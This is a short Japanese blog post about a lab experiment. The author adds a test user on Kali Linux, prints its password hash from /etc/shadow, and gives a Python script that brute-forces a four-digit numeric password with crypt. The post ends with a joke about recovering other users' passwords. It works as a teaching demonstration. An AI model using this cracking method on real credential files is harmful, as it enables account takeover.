総当たり攻撃を実験した話
/etc/shadowでパスワードが見られると組み合わせによっては一瞬でパスワードがバレてしまうらしい。
ということで、pythonのcryptモジュールを用いて総当たり攻撃を実践してみる。
useradd target passwd target
今回はあらかじめ上記のコマンドでtargetというユーザーをKali Linux上に追加しておきました。
/etc/shadowの一番下にtargetユーザーが追加されていました。
target:$6$PjN7BsaQ$7LgY2it/svbRqEDV1PXQDilWdiUtSA26JRK1Ej3Mhmjggrtn0Z2P2w8zWdY0ZiLM4Y2hi/WK7.oi7CHkxL0kf/:17920:0:99999:7:::
ユーザー名:ハッシュ値という形で表記されています。
今回使うpythonのcrypt関数の使い方はこんな感じ。
crypt.crypt("パスワード", "ソルト")
linuxの場合前半の$6$PjN7BsaQ$がソルトになっているのでここを使います。
ここはアカウントによってもちろん異なりますが、$x$xxxx$という形は同じです。
戻り値がハッシュ値になるので、あとはタイトルにある通りパスワードの部分を総当たりで攻撃し、/etc/shadowのtargetのハッシュ値と比べるだけです。
ちなみに今回は実験なので数字のみ4文字という設定で行います。
用意したpythonのプログラムはこんな感じです。
import crypt import sys def main(): number="1234567890" hash_value="$6$PjN7BsaQ$7LgY2it/svbRqEDV1PXQDilWdiUtSA26JRK1Ej3Mhmjggrtn0Z2P2w8zWdY0ZiLM4Y2hi/WK7.oi7CHkxL0kf/" salt = "$6$PjN7BsaQ$" for num1 in number: for num2 in number: for num3 in number: for num4 in number: src = num1 + num2 + num3 + num4 print(src) dst = crypt.crypt(src, salt) if hash_value == dst: print("Password is " + src) sys.exit() if __name__=="__main__": main()
1111 / 1112 / 1113 という形でパスワードを端から生成し、 cryptで利用します。
あとはtargetのパスワードのハッシュ値hash_valueと同じハッシュ値ができたらそれがパスワードです。
実行結果を貼ります。
こんな感じでパスワードがわかります。
もし、他のユーザーのパスワードがわからなくなってもこれで安心??